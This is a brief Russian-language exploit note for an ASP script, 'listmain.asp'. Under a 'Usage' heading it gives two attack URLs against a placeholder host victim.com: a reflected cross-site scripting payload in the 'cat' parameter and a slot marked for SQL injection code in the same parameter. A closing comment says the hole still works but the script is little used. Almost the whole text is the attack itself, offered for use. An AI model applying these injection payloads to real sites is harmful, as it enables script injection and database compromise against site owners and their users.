Использование:
http://victim.com/ScriptPath/listmain.asp?cat=<script>alert('test')</script>
http://victim.com/ScriptPath/listmain.asp?cat=[ SqL Code ] Комментарий::
Уязвимсоть работаспособна на данный момент, но вот одна проблема в том,
что скрипт не распрастранён на просторах Интернета.